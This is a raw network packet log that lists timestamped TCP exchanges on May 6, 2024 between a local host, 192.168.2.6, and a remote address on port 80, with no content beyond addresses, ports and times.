May 6, 2024 02:52:47.248892069 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.286989927 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.287065983 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.287080050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.287122965 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.287333012 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.287377119 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.287599087 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.287650108 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.287774086 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.287817001 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.287875891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.287921906 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.288439035 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.288482904 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.288554907 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.288568974 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.288603067 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.288613081 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.289011955 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.289060116 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.289293051 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.289330959 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.289484024 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.289522886 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.289963007 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.290009975 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.290060043 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.290105104 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.290225029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.290270090 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.290329933 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.290373087 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.290828943 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.290874958 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.329696894 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.329714060 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.329889059 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.330456018 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.330513954 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.330714941 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.330759048 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.330895901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.330909014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.330936909 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.330960035 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.331485033 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.331531048 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.331701994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.331744909 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332096100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332118988 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332135916 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332139015 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332154036 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332176924 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332345963 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332386971 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332443953 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332482100 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332693100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332732916 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.332742929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.332786083 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.333039999 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.333081961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.333451986 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.333502054 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.333571911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.333614111 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.333726883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.333811998 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.371839046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.371906042 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.371954918 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.371997118 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.372981071 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.373028994 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.373266935 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.373312950 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.373425961 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.373476028 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.373651981 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.373665094 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.373696089 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.373712063 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.374157906 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.374203920 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.374368906 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.374417067 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.374591112 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.374634981 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.374893904 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.374942064 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.375237942 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.375300884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.376161098 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.376207113 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.376787901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.376800060 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.376832008 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.376842976 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.376904964 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.376949072 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.376969099 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.377007961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.377619028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.377662897 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.377738953 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.377780914 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.378463984 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.378516912 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.414227009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.414300919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.414309025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.414349079 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.415940046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.415990114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.416071892 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.416116953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.416281939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.416327953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.416444063 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.416486979 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.416826963 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.416840076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.416872978 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.416893959 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.417130947 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.417176962 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.418222904 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.418235064 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.418246984 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.418267965 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.418302059 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.419291019 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.419358015 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.419504881 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.419552088 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.419603109 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.419648886 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.420027018 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.420073986 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.423387051 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.423434019 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.456798077 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.456876040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.456964970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.457017899 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.457145929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.457194090 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.457264900 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.457309961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.458429098 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.458441973 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.458473921 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.458496094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.458937883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.458982944 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.459274054 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.459286928 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.459320068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.459328890 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.459485054 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.459530115 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.459892035 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.459907055 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.459939003 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.459947109 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.459990025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.460033894 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.460158110 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.460177898 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.460206032 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.460217953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.460699081 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.460743904 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.461668015 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.461713076 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.461811066 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.461857080 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.461885929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.461931944 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.462466002 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.462510109 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.462661028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.462706089 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.465764999 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.465812922 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.499268055 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.499283075 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.499346972 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.499862909 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.499911070 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.499974966 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.500017881 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.501524925 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.501573086 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.501735926 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.501784086 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.501832962 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.501847029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.501882076 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.502262115 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.502307892 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.502336979 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.502382994 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.502702951 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.502753973 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.502980947 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.503031015 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.503333092 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.503380060 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.504136086 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.504184961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.504312038 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.504365921 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.505073071 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.505120993 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.505125046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.505167007 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.507015944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.507066965 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.541941881 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.541958094 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.542047024 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.542150974 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.542192936 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.542354107 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.542404890 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.542438984 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.542481899 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.544312000 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.544362068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.544449091 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.544492960 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.544627905 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.544641972 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.544668913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.544687986 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.544770002 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.544817924 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.545315027 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.545362949 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.545545101 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.545588970 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.545936108 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.545983076 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.546049118 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.546091080 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.546478033 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.546524048 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.546557903 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.546602011 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.547348976 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.547415018 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.547430038 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.547471046 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.547605038 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.547650099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.549097061 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.549149990 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.584115028 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.584300041 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.584322929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.584364891 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.584414959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.584455967 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.584733009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.584773064 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.586713076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.586735010 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.586759090 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.586770058 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.586903095 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.586941957 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.586998940 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.587049007 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.588279009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.588329077 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.588409901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.588423967 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.588438034 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.588450909 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.588462114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.588485956 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.588803053 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.588851929 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.588933945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.588980913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.589009047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.589046955 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.589814901 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.589864016 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.589869022 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.589905977 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.590176105 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.590214968 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.590342045 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.590379953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.592093945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.592139006 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.626609087 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.626624107 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.627244949 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.627258062 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.627357006 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.629015923 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.629075050 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.629102945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.629144907 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.629400015 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.629441023 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.629643917 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.629687071 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.630439997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.630487919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.630705118 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.630739927 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.630753040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.630775928 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.630809069 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.630850077 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.631108046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.631149054 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.631407976 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.631448030 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.631819010 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.631866932 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.633655071 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.633711100 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.634007931 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.634057045 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.634176970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.634221077 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.669045925 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.669104099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.669190884 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.669231892 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.669234037 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.669276953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.669420004 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.669461966 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.669797897 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.669840097 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.670133114 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.670170069 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.671209097 CEST	80	49710	31.41.44.147	192.168.2.6
